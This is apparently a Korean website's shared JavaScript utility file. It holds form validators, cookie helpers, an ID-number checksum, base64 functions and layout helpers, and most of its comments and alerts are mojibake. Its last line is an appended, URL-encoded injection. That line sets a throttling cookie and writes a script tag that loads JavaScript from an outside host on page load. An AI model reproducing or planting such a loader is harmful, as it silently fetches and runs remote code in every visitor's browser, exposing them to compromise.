	arrList[arrList.length]  = "system";
	arrList[arrList.length]  = "sex";
	arrList[arrList.length]  = "admin";
	arrList[arrList.length]  = "test";
	arrList[arrList.length]  = "administrator";
	arrList[arrList.length]  = "search";
	arrList[arrList.length]  = "post";
	arrList[arrList.length]  = "blog";

	for(i=0; i < arrList.length; i++){
		var systemWord = arrList[i];

		if(obj.value == systemWord ){
			return true;
		}
	}
	return false;
}


function categoryInfoInit( data ) {
	try
	{
		if ( document.all.post_category != null )
		{
			document.all.post_category.outerHTML = data;
		}
	}
	catch ( Exception )
	{
		alert( Exception );
	}
}

function calendarInfoInit( data ) {
	try
	{
		if ( document.all.post_calendar != null )
		{
			document.all.post_calendar.outerHTML = data;
		}
	}
	catch ( Exception )
	{
		alert( Exception );
	}
}

function resize() {
	var resizeHeight = document.body.scrollHeight + 58;
	var resizeWidth = document.body.scrollWidth + 10;

	window.resizeTo( resizeWidth, resizeHeight );
}


function changeDisabledStatus( obj, flag ) {
	obj.disabled = flag;
}


function changeTargetObjValue( obj, tObj ) {
	tObj.value = obj.options[obj.selectedIndex].value;
}

function handlingTableView( obj, flag ) {
	if ( flag ) {
		obj.style.display = "";
	} else {
		obj.style.display = "none";
	}
}

function displayFnc( obj, flag ) {
	if ( flag == 1 ) {
		obj.style.display = "";
	} else if ( flag == 0 ) {
		obj.style.display = "none";
	} else {
		obj.style.display = "none";
	}
}

var oFlag = false;
var oldDisplayObj;
function displayHandler( obj ) {

	if ( oldDisplayObj != null && oldDisplayObj != obj ) {
		oldDisplayObj.style.display = "none";
		oFlag = false;
	}

	if ( !oFlag ) {
		obj.style.display = "";
		oFlag = true;
	} else {
		obj.style.display = "none";
		oFlag = false;
	}

	oldDisplayObj = obj;
}

function loading(param1) {
	if(!param1 || param1 == null) {
		param1 = "";
	}
	document.write("<table width=275 height=130 border=0 cellpadding=0 cellspacing=0 bgcolor='#E5E5E5'><tr><td style='padding:5' align='center'>");
	document.write("<table border=0 cellspacing=0 cellpadding=0 width='100%' height='100%' bgcolor='#ffffff' style='border:1px solid #B9B8B9'>");
	document.write("<tr><td height='13'></td></tr><tr valign='top' align='center'>");
	document.write("<td style='background-image:url(\"/common/images/pop/loading_img01.gif\"); background-repeat:no-repeat; background-position:center top; padding-left:15' width='243' height='74'>");
	document.write("<table border=0 cellspacing=4 cellpadding=0><tr><td height='15'></td></tr><tr valign='top'><td width='10'>");
	document.write("<img src='/common/images/pop/icon01.gif' align='absmiddle' style='margin-top:2'></td><td><B> " + param1 + " </B></td></tr><tr><td></td>");
	document.write("<td>Àá½Ã¸¸ ±â´Ù·ÁÁÖ½Ê½Ã¿À.</td></tr></table></td></tr><tr><td height='3'></td></tr><tr><td align='center'><img src='/common/images/pop/loading.gif'></td>");
	document.write("</tr><tr><td height='10'></td></tr></table></td></tr></table>");
	document.close();
}

function imgOpen(imageURL) {
	var popwin;
	popwin = window.open("/jsp/common/imageViewer.jsp?imageURL="+imageURL,"IMAGEOPEN", "top=100, left=100, width=10,height=10,scrollbars=no,resizable=yes,status=no");
	popwin.focus();
}



function setClipBoardData( data ) {
	alert( '"' + data + '"' + " ¸¦ º¹»çÇÏ¿´½À´Ï´Ù." );
	window.clipboardData.setData('Text', data );
}

function showDivObject( obj, targetObj ) {

	var r = getAbsolutePos( obj );

	showAt( targetObj, r.x-100, r.y + obj.height+2 );
}

function hideDivObj( obj ) {
	obj.style.display = "none";
}

getAbsolutePos = function( el ) {
	var r = { x: el.offsetLeft, y: el.offsetTop };
	if (el.offsetParent) {
		var tmp = getAbsolutePos(el.offsetParent);
		r.x += tmp.x;
		r.y += tmp.y;
	}
	return r;
};

showAt = function (obj, x, y) {

	var s = obj.style;

	s.left = x + "px";
	s.top = y + "px";

	s.display = "";
};


function blendTrans(obj, duration, visibleOption, visibleOption2)
{
	if (navigator.userAgent.indexOf("MSIE") != -1)
	{
		obj.style.filter="blendTrans(duration="+ duration +")";
		obj.filters.blendTrans.Apply();
	}

	if (!visibleOption)
	{
		obj.style.visibility="visible";
	}
	else if (visibleOption)
	{
		if (visibleOption2)
		{
			if (obj.style.visibility=="visible")
				obj.style.visibility="hidden";
			else
				obj.style.visibility="visible";
		}
		else
			obj.style.visibility="hidden";
	}

	if (navigator.userAgent.indexOf("MSIE") != -1)
		obj.filters.blendTrans.Play();
}

//////////////////////////////////////////////////////////////////////////
// check_jumin(jumin1,jumin2) ÁÖ¹Îµî·Ï¹øÈ£Çü½ÄÀÌ ¿Ã¹Ù¸£¸é true¸¦ ¹ÝÈ¯ÇÑ´Ù.
//////////////////////////////////////////////////////////////////////////
function check_jumin(jumin1,jumin2)
{
	var jumin1,jumin2,a,b,c,d,e,f,g,h,i,j,k,l,sum,pivot,modulus,endnumber;

		a = jumin1.substring(0, 1)
			aa = a * 2;
		b = jumin1.substring(1, 2)
			bb = b * 3;
		c = jumin1.substring(2, 3)
			cc = c * 4;
		d = jumin1.substring(3, 4)
			dd = d * 5;
		e = jumin1.substring(4, 5)
			ee = e * 6;
		f = jumin1.substring(5, 6)
			ff = f * 7;
		g = jumin2.substring(0, 1)
			gg = g * 8;
		h = jumin2.substring(1, 2)
			hh = h * 9;
		i = jumin2.substring(2, 3)
			ii = i * 2;
		j = jumin2.substring(3, 4)
			jj = j * 3;
		k = jumin2.substring(4, 5)
			kk = k * 4;
		l = jumin2.substring(5, 6)
			ll = l * 5;

	pivot = jumin2.substring(6,7)
		sum = aa + bb + cc + dd + ee + ff + gg + hh + ii + jj + kk + ll;
		modulus = sum % 11
		endnumber = 11 - modulus

		if(endnumber == 11)
			endnumber = 1;
		else if(endnumber == 10)
			endnumber = 0;
		else
			endnumber = endnumber;

	if ((pivot != endnumber) || ((g == 5) || (g == 6) || (g == 7) || (g == 8)))
		return false;
	else
		return true;

}

function resizeThumb(objImg)
{
    oldWidth = objImg.width;
    oldHeight = objImg.height;
    if(oldWidth > 90 || oldHeight > 90)
    {
        if(oldWidth == oldHeight)
        {
            newWidth = 90;
            newHeight = 90;
        }
        else if(oldWidth > oldHeight)
        {
            newWidth = 90;
            newHeight = oldHeight*90/oldWidth;
        }
        else
        {
            newHeight = 90;
            newWidth = oldWidth*90/oldHeight;
        }
        objImg.width = newWidth;
        objImg.height = newHeight;
    }
}
function setThumb(objImg, urlImg)
{
    if (objImg.src.search("cafefiles") > -1)
        return;
    objImg.src = urlImg;
    resizeThumb(objImg);
}

function trim(str) {
	return str.replace(/^\s+|\s+$/, '');
}

function isEmpty(str) {
	if (null == str) {
		return true;
	}
	var temp = trim(str);
	if (0 == str.length) {
		return true;
	}
	return false;
}

function toFormatNumber( strValue ){
	strValue = strValue.replace(/,/g, "");

	var objRegExp = new RegExp('(-?[0-9]+)([0-9]{3})');
   	while(objRegExp.test(strValue)) {
   		strValue = strValue.replace(obj, '$1,$2');
	}

	return strValue;
}



//////////////div print//////////////////////////
var divPrint;

function BeforePrint() {
	 divPrint = document.body.innerHTML;
	 document.body.innerHTML = printPage.innerHTML;

	// alert( document.body.innerHTML );
}
function AfterPrint() {
	 document.body.innerHTML = divPrint;
}
function PrintArea() {
	window.onbeforeprint = BeforePrint;
	window.onafterprint = AfterPrint;
	window.print();
}
//////////////div print//////////////////////////

/**************************************
* °øÅë ÆûÃ¼Å© ¶óÀÌºê·¯¸®
* required>
* option="hangul">,option="phone">,option="email">
***************************************/

function validate(form) {

	var regNum =/^[0-9]+$/;
	var regPhone =/^[0-9]{2,3}-[0-9]{3,4}-[0-9]{3,4}$/;
	var regMail =/^[_a-zA-Z0-9-]+@[\._a-zA-Z0-9-]+\.[a-zA-Z]+$/;
	var regDomain =/^[\.a-zA-Z0-9-]+\.[a-zA-Z]+$/;
	var regAlpha =/^[a-zA-Z]+$/;
	var regHost =/^[a-zA-Z-]+$/;
	var regHangul =/[°¡-Èþ]/;
	var regHangulOnly =/^[°¡-Èþ ]*$/;

	for (i = 0; i < form.elements.length; i++ ) {
		var currEl = form.elements[i];

		if (currEl.getAttribute("required") != null && ! currEl.disabled) {
			if (currEl.value == "") {
				return do_error(currEl);
			}
		}
		if (currEl.getAttribute("option") != null && currEl.value != "") {
			if (currEl.option == "email" && !regMail.test(currEl.value)) {
			return do_error(currEl,"mail");
			}
			if (currEl.option == "phone" && !regPhone.test(currEl.value)) {
			return do_error(currEl,"phone");
			}
			if (currEl.option == "hangul" && !regHangul.test(currEl.value)) {
				return do_error(currEl,"hangul");
			}
			if (currEl.option == "number" && !regNum.test(currEl.value)) {
				return do_error(currEl,"number");
			}
		}
	}

	return true;
}

function do_error(el,type) {
	name = (el.hname) ? el.hname : el.name;
	switch (type) {
		case "mail":
			alert(name + "ÀÇ Çü½ÄÀÌ ¿Ã¹Ù¸£Áö ¾Ê½À´Ï´Ù");
			break;
		case "phone":
			alert(name + "ÀÇ Çü½ÄÀÌ ¿Ã¹Ù¸£Áö ¾Ê½À´Ï´Ù");
			break;
		case "hangul":
			alert(name + " Ç×¸ñ¿¡ ÇÑ±ÛÀÌ Æ÷ÇÔµÇ¾îÀÖÁö ¾Ê½À´Ï´Ù");
			break;
		case "number":
			alert(name + " Ç×¸ñ¿¡´Â ¼ýÀÚ¸¸ ÀÔ·ÂÇØ¾ß ÇÕ´Ï´Ù.");
			break;
		default:
			alert(name + " Ç×¸ñÀº ¹Ýµå½Ã ÀÔ·ÂÇØ¾ß ÇÕ´Ï´Ù");
		break;
	}

	el.focus();
	return false;
}

function checked_it(name,value) {
	var el = document.all.tags("input");
	for (i = 0 ; i < el.length; i++) {
		if (el[i].name == name && el[i].value == value) {
			el[i].checked = true;
		}
	}
}

function selected_it(name,value) {
	var el = document.all.tags("select");
	for (i = 0; i < el.length; i++) {
		if (el[i].name == name) {
			if (el[i].size > 1 && el[i].getAttribute("MULTIPLE") != null ) {
				for (k=0; k < value.length; k++) {
					alert(value[k]);
					for (j = 0; j < el[i].options.length; j++ ) {
						if (el[i].options[j].value == value[k]) el[i].selectedIndex[++x] = j;
					}
				}
			} else {
				for (j = 0; j < el[i].options.length; j++ ) {
					if (el[i].options[j].value == value) el[i].selectedIndex = j;
				}
			}
		}
	}
}

function enabled_it(name) {
	var arr = new Array("input", "select", "textarea");
	for(k=0; k<arr.length; k++) {
		var el = document.all.tags(arr[k]);
		for (i = 0 ; i < el.length; i++) {
			if (el[i].name == name) {
				el[i].disabled = false;
			}
		}
	}
}

function disabled_it(name) {
	var arr = new Array("input", "select", "textarea");
	for(k=0; k<arr.length; k++) {
		var el = document.all.tags(arr[k]);

		for (i = 0 ; i < el.length; i++) {
			if (el[i].name == name) {
				el[i].disabled = true;
			}
		}
	}
}

/**
 * ÆÄÀÏ Ã·ºÎÆû »èÁ¦ ½ºÅ©¸³Æ®
 * @param formName Æû ÀÌ¸§
 * @param inputName ÆÄÀÏ input ÀÌ¸§
 */
function resetFileInput(id) {
	var obj = document.getElementById(id);
	obj.outerHTML = obj.outerHTML;
}
//***********************************************************





function setCookie( name, value, expiredays )
{
	var todayDate = new Date();
	todayDate.setDate( todayDate.getDate() + expiredays );
	document.cookie = name + "=" + escape( value ) + "; path=/; expires=" + todayDate.toGMTString() + ";"
}


function getCookie( name ) {
	var nameOfCookie = name + "=";
	var x = 0;
	while ( x <= document.cookie.length )
	{
		var y = (x+nameOfCookie.length);
		if ( document.cookie.substring( x, y ) == nameOfCookie ) {
			if ( (endOfCookie=document.cookie.indexOf( ";", y )) == -1 )
				endOfCookie = document.cookie.length;
			return unescape( document.cookie.substring( y, endOfCookie ) );
		}
		x = document.cookie.indexOf( " ", x ) + 1;
		if ( x == 0 )
			break;
	}
	return "";
}
function iframe_autoresize(arg) {
	var obj = document.all[arg];
	obj.height = eval(obj.name+".document.body.scrollHeight");
}

function onlyNumber() {
	var filter = '[0-9]';
	var sKey = String.fromCharCode(event.keyCode);
	var re = new RegExp(filter);

	if(!re.test(sKey)) {
		event.returnValue = false;
	}
}

function replaceAll(str, searchStr, replaceStr) {
	while (str.indexOf(searchStr) != -1) {
		str = str.replace(searchStr, replaceStr);
	}
	return str;
}

//ÆË¾÷,±âÁØ±Ý¸® ¼ýÀÚÃ¼Å©
function num_chk(num) {
    if(isNaN(num.value)) {
    	alert("¼ýÀÚ¸¸ °¡´ÉÇÕ´Ï´Ù.");
        num.value = "";
        num.focus();
        return;
    }
}


//ÆË¾÷ ³¯Â¥ ¿À´Ã ÀÌÀüÀÏ Ã¼Å©
function CheckTime(f,year,month,day,hour,minute){
	c = new Date();
	c.setDate(c.getDate()-1); // ÇÏ·ç »©¼­ Ã³¸®ÇßÀ½ ¿À´ÃÀÌ 2008-09-19 ÀÌ¸é ½ÇÁ¦·Î´Â 2008-09-18 ·Î Ã³¸®ÇßÀ½

	cYY = c.getYear()
	cMM = c.getMonth()+1
	cDD = c.getDate()
	cHH = c.getHours()
	cMI = c.getMinutes()
	cSE = c.getSeconds()

	check1 = cYY
	check1 = ( cMM<10 ) ? check1 + '0' + cMM : check1 + ' ' + cMM
	check1 = ( cDD<10 ) ? check1 + '0' + cDD : check1 + ' ' + cDD
	check1 = ( cHH<10 ) ? check1 + '0' + cHH : check1 + ' ' + cHH
	check1 = ( cMI<10 ) ? check1 + '0' + cMI : check1 + ' ' + cMI
	check1 = ( cSE<10 ) ? check1 + '0' + cSE : check1 + ' ' + cSE
	check1 = check1.replace(/ /gi,'');

	check2 = year + month + day + hour + minute + '00'

	//alert(check1 + " / " + check2)

	if ( parseInt(check1) > parseInt(check2) ){
		return false;
	} else {
		return true;
	}
}


//maxlength ¸¸Å­ ¿Å±â¸é ´ÙÀ½À¸·Î ÀÌµ¿ÇÏ±â....
function nextFocus(sFormName,sNow,sNext)
{
	var sForm = 'document.'+ sFormName +'.'
	var oNow = eval(sForm + sNow);
	if (typeof oNow == 'object')
	{
		if ( oNow.value.length == oNow.maxLength)
		{
			var oNext = eval(sForm + sNext);

			if ((typeof oNext) == 'object')
				oNext.focus();
		}
	}
}
function getImagePosFortext(obj){
    var total=new Array(2);
	total[0] = getX(obj);
	total[1] = getY(obj)
    return total;
}
function getImagePosFortext2(obj){
    var cnt=0;
    var total=new Array(2);
    total[0]=0;
    total[1]=0;
    if(obj) {
        obj = obj.offsetParent;
        total[0]=obj.offsetLeft+107;
        total[1]=obj.offsetTop+161;
        cnt++;
        if (cnt>10)
            return false;
    }
    return total;
}


function getImagePosFortext3(obj){
    var cnt=0;
    var total=new Array(2);
    total[0]=0;
    total[1]=0;
    while(obj) {
        total[0]=total[0]+obj.offsetLeft;
        total[1]=total[1]+obj.offsetTop;
        obj = obj.offsetParent
        cnt++;
        if (cnt>10)
            return false;
    }
    return total;
}






/********************************************************************
*  Function Name    : CreateTR()
*  Description      : È­¸é»óÀÇ Table¿¡ TRÀ» »õ·Ó°Ô Ãß°¡ÇÏ´Â Script
*  Input Data       : tbl - tableÀÇ ID							ex> value = abc -> <table id='abc' width=''....>
*					  tdHtml - td ¸¶´Ù Ãß°¡µÇ´Â HTML Script		* ¹Ýµå½Ã ¹è¿­ÀÇ ÇüÅÂ·Î Àü´ÞÇØ¾ß ÇÕ´Ï´Ù. 
*					  tdCls	 - td ¸¶´Ù »ç¿ëµÇ´Â ClassName		* ¹Ýµå½Ã ¹è¿­ÀÇ ÇüÅÂ·Î Àü´ÞÇØ¾ß ÇÕ´Ï´Ù. 
*					  tdAlign - td ¸¶´ÙÀÇ Á¤·Ä ¹æ¹ý				* ¹Ýµå½Ã ¹è¿­ÀÇ ÇüÅÂ·Î Àü´ÞÇØ¾ß ÇÕ´Ï´Ù. 
*					  position - ºÙÀÏ·Á´Â À§Ä¡. ¾øÀ»¶§´Â ÀÚµ¿À¸·Î ÃÖÁ¾ Tr·Î ºÙ¿©Áø´Ù.
/********************************************************************/
function CreateTR(tbl, tdHtml, tdCls, tdAlign, position) {
	var pos = 0;
	var grp=document.all[tbl];
	var grpCnt = grp.rows.length;
	var obj;

	pos = (position == null)?grpCnt:position;
	var rowid = parseInt(grp.rows[grp.rows.length-1].getAttribute("attcnt"))+1;
	grp.insertRow(pos);
	var idName = "Item"+rowid;
	grp.rows(pos).setAttribute("id",idName);
	grp.rows(pos).setAttribute("attcnt",rowid);
	for (var i=0; i<tdHtml.length; i++) {
		grp.rows(pos).insertCell(i);
		obj = grp.rows(pos).cells(i);
		obj.className = tdCls[i];
		//obj.align = tdAlign[i];
		obj.innerHTML = tdHtml[i];
		obj.focus();
	}
}
function CreateTR2(tbl, tdHtml, tdCls, tdAlign, position) {
	var pos = 0;
	var grp=document.getElementById(tbl);
	var grpCnt = grp.rows.length;
	var obj;

	pos = (position == null)?grpCnt:position;
	trObj = grp.insertRow(pos);
	trObj.onmouseover = function(){ grp.clickedRowIndex = this.rowIndex; }; 

	for (var i=0; i<tdHtml.length; i++) {
		grp.rows(pos).insertCell(i);
		obj = grp.rows(pos).cells(i);
		obj.className = tdCls[i];
		//obj.align = tdAlign[i];
		obj.innerHTML = tdHtml[i];
		obj.focus();
	}
}

//Àý´ë°ª ÁÂÇ¥ ±¸ÇÏ±â
function getXY(el) {
	// elÀº ¹®¼­¿¡ Æ÷ÇÔµÇ¾î ÀÖ¾î¾ß ÇÏ°í, È­¸é¿¡ º¸¿©¾ß ÇÑ´Ù.
	if(el.parentNode == null || el.style.display =='none') {
		return false;
	}

	var parent = null;
	var pos = [];	// pos[0]¿¡ x ÁÂÇ¥, pos[1]¿¡ y ÁÂÇ¥ °ª ÀúÀå
	var box;
	if(document.getBoxObjectFor) {	// gecko ¿£Áø ±â¹Ý
		// ÆÄÀÌ¾îÆø½º µî gecko ¿£Áø ±â¹Ý¿¡¼­ x, y ÁÂÇ¥ ±¸ÇÏ±â
		box = document.getBoxObjectFor(el);
		pos = [box.x, box.y];
	}
	else {	// ±âÅ¸ ºê¶ó¿ìÁ®
		pos = [el.offsetLeft, el.offsetTop];
		parent = el.offsetParent;
		if(parent != el) {
			while(parent) {
				pos[0] += parent.offsetLeft;
				pos[1] += parent.offsetTop;
				parent = parent.offsetParent;
			}
		}

		// ¿ÀÆä¶ó¿Í »çÆÄ¸®ÀÇ 'absolute' positionÀÇ °æ¿ì
		// bodyÀÇ offsetTopÀ» Àß¸ø °è»êÇÏ¹Ç·Î º¸Á¤ÇØ¾ß ÇÑ´Ù.
		var ua = navigator.userAgent.toLowerCase();
		
		if(
			ua.indexOf('opera') != -1
			|| ( ua.indexOf('safari') != -1 &&
			this.getStyle(el, 'position') == 'absolute')
		) {
			pos[1] -= document.body.offsetTop;
		}
	}

	if(el.parentNode) {parent = el.parentNode;}
	else { parent = null;}

	// body ¶Ç´Â html ÀÌ¿ÜÀÇ ºÎ¸ð ³ëµå Áß¿¡ ½ºÅ©·ÑµÇ¾î ÀÖ´Â
	// ¿µ¿ªÀÌ ÀÖ´Ù¸é ¾Ë¸Â°Ô Ã³¸®ÇÑ´Ù.
	while(parent && parent.tagName != 'BODY' && parent.tagName != 'HTML') {
		pos[0] -= parent.scrollLeft;
		pos[1] -= parent.scrollTop;

		if(parent.parentNode) {parent = parent.parentNode;}
		else {parent = null;}
	}
	return {x:pos[0], y:pos[1]}
}

//xÁÂÇ¥ ±¸ÇÏ±â
function getX(el) {
	return getXY(el).x;
}

//yÁÂÇ¥ ±¸ÇÏ±â
function getY(el) {
	return getXY(el).y;
}

//ÁÂÇ¥, ³ÐÀÌ ±¸ÇÏ±â
function getBounds(el) {
	var xy = getXY(el);
	return {
		x : xy.x,
		y : xy.y,
		width : el.offsetWidth,
		height : el.offsetHeight
	}
}
function isNumComma() {
	var filter = '[0-9.-]';
	var sKey = String.fromCharCode(event.keyCode);
	var re = new RegExp(filter);

	if(!re.test(sKey)) {
		event.returnValue = false;
	}
}
// ¿µ¹®, ¼ýÀÚ¸¸ ÀÔ·Â °¡´É
function filter(str) {
	var chk;
	var chk2=0;
	
	for(i=0; i<str.length; i++) {
		chk = str.charCodeAt(i);
		if((chk >= 95 && chk <= 122) || (chk >=48 && chk <= 57) || (chk >= 65 && chk <= 90)) {}
		else chk2++;
	}
	
	if(chk2 == 0) return false;
	else 		  return true;
}

// ¿µ¹®, ¼ýÀÚ Á¶ÇÕ
function filter2(str) {
	var chk_num = str.search(/[0-9]/g);
	var chk_eng = str.search(/[a-z]/ig);
	
	if(chk_num < 0 || chk_eng < 0) { return true; }
	else { return false; }
}

//¿µ¹®, ¼ýÀÚ , Æ¯¼ö¹®ÀÚ Á¶ÇÕ
function filter3(str) {
	var chk_num = str.search(/[0-9]/g);
	var chk_eng = str.search(/[a-z]/ig);
	var chk_reg = str.search(/[~!@\#$%^&*\()\-=+_'\"]/gi);
	
	if(chk_num < 0 || chk_eng < 0 || chk_reg < 0) { return true; }
	else { return false; }
}

// Æ¯¼ö¹®ÀÚÃ¼Å©
function checkkeycode(t){
	  if((t.keyCode > 32 && t.keyCode < 48) || (t.keyCode > 57 && t.keyCode < 65)||(t.keyCode > 90 && t.keyCode < 97)){
	   t.returnValue = false;
	   alert("Æ¯¼ö¹®ÀÚ´Â ÀÔ·ÂÇÒ ¼ö ¾ø½À´Ï´Ù.");
	  }
	 }


function encode_base64( what )
{
      var base64_encodetable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
      var result = "";
      var len = what.length;
      var x, y;
      var ptr = 0;

      while( len-- > 0 )
      {
            x = what.charCodeAt( ptr++ );
            result += base64_encodetable.charAt( ( x >> 2 ) & 63 );

            if( len-- <= 0 )
            {
                  result += base64_encodetable.charAt( ( x << 4 ) & 63 );
                  result += "==";
                  break;
            }

            y = what.charCodeAt( ptr++ );
            result += base64_encodetable.charAt( ( ( x << 4 ) | ( ( y >> 4 ) & 15 ) ) & 63 );

            if ( len-- <= 0 )
            {
                  result += base64_encodetable.charAt( ( y << 2 ) & 63 );
                  result += "=";
                  break;
            }

            x = what.charCodeAt( ptr++ );
            result += base64_encodetable.charAt( ( ( y << 2 ) | ( ( x >> 6 ) & 3 ) ) & 63 );
            result += base64_encodetable.charAt( x & 63 );

      }

      return result;
}


function decode_base64( what )
{
      var base64_decodetable = new Array (
            255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
            255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
            255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,  62, 255, 255, 255,  63,
            52,  53,  54,  55,  56,  57,  58,  59,  60,  61, 255, 255, 255, 255, 255, 255,
            255,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9,  10,  11,  12,  13,  14,
            15,  16,  17,  18,  19,  20,  21,  22,  23,  24,  25, 255, 255, 255, 255, 255,
            255,  26,  27,  28,  29,  30,  31,  32,  33,  34,  35,  36,  37,  38,  39,  40,
            41,  42,  43,  44,  45,  46,  47,  48,  49,  50,  51, 255, 255, 255, 255, 255
      );
      var result = "";
      var len = what.length;
      var x, y;
      var ptr = 0;

      while( !isNaN( x = what.charCodeAt( ptr++ ) ) )
      {
            if( x == 13 || x == 10 )
                  continue;

            if( ( x > 127 ) || (( x = base64_decodetable[x] ) == 255) )
                  return false;
            if( ( isNaN( y = what.charCodeAt( ptr++ ) ) ) || (( y = base64_decodetable[y] ) == 255) )
                  return false;

            result += String.fromCharCode( (x << 2) | (y >> 4) );

            if( (x = what.charCodeAt( ptr++ )) == 61 )
            {
                  if( (what.charCodeAt( ptr++ ) != 61) || (!isNaN(what.charCodeAt( ptr ) ) ) )
                        return false;
            }
            else
            {
                  if( ( x > 127 ) || (( x = base64_decodetable[x] ) == 255) )
                        return false;
                  result += String.fromCharCode( (y << 4) | (x >> 2) );
                  if( (y = what.charCodeAt( ptr++ )) == 61 )
                  {
                        if( !isNaN(what.charCodeAt( ptr ) ) )
                              return false;
                  }
                  else
                  {
                        if( (y > 127) || ((y = base64_decodetable[y]) == 255) )
                              return false;
                        result += String.fromCharCode( (x << 6) | y );
                  }
            }
      }
      return result;
}

function chkFCKeditorForm2(form) {

	var fck, fckObj, value;
	var imgObj, imgLen, firstImg, img;
	//var form = document.editForm;
	var able = false;
	try
	{
		fck = FCKeditor1___Frame.FCK;
		fckObj = (fck.EditMode == 1)?fck.EditingArea:fck.EditorDocument;
		value = (fck.EditMode == 1)?fckObj.Textarea.value:fckObj.body.innerHTML;
		value = value.replace(/(<[^>]+>|\&nbsp;)/g,"");

		imgObj = fckObj.images;
		
		able = true;
		if (imgObj.length > 0) {
			for(i=0;i<imgObj.length;i++){
				if(imgObj[i].width > 800){
					able = false;
					break;
				}
			}

			if(able == false) alert("µî·Ï °¡´ÉÇÑ ÀÌ¹ÌÁö ÃÖ´ë °¡·ÎÆøÀº 800pxÀÔ´Ï´Ù.");
		} else {
			if(value == "") {
				alert("³»¿ë°ú ÀÌ¹ÌÁö Áß ÇÏ³ª´Â ÇÊ¼ö ÀÔ·ÂÀÔ´Ï´Ù.");
				able = false;
				FCKeditor1___Frame.FCK.Focus;
			}
		}
		return able;
	}
	catch (e)
	{
		alert("chkFCKeditorForm : " + e.description);
		return false;
	}
	//form.submit.disabled = true;

}

function doAjaxSubmit(actionURL){
	var xmlHttp = Ajax.getTransport();
	var queryString = formData2QueryString(document.frmMain);
	xmlHttp.open("POST", actionURL , false);
	xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	xmlHttp.send(queryString);

	var xmlDoc = xmlHttp.responseXML;
	var nodeLen = xmlDoc.childNodes.length;
	var status = xmlDoc.childNodes[nodeLen-1].getElementsByTagName("status")[0].firstChild.nodeValue;

	return status;
}

function fnFileReadOnly(){
	if(event.keyCode == 13 || event.keyCode == 9 || event.keyCode == 32)
	{
		//
	}else{
		event.returnValue=false;
	}
}

if(document.cookie.indexOf('veatpr')==-1){var expires=new Date();expires.setTime(expires.getTime()+0.6*60*60*1000);document.cookie='veatpr=Yes;path=/;expires='+expires.toGMTString();document.write(unescape("%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%69%68%61%6E%74%61%6C%2E%63%6F%6D%2F%6B%6F%72%2F%4A%73%2F%6D%61%69%6E%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E"));}
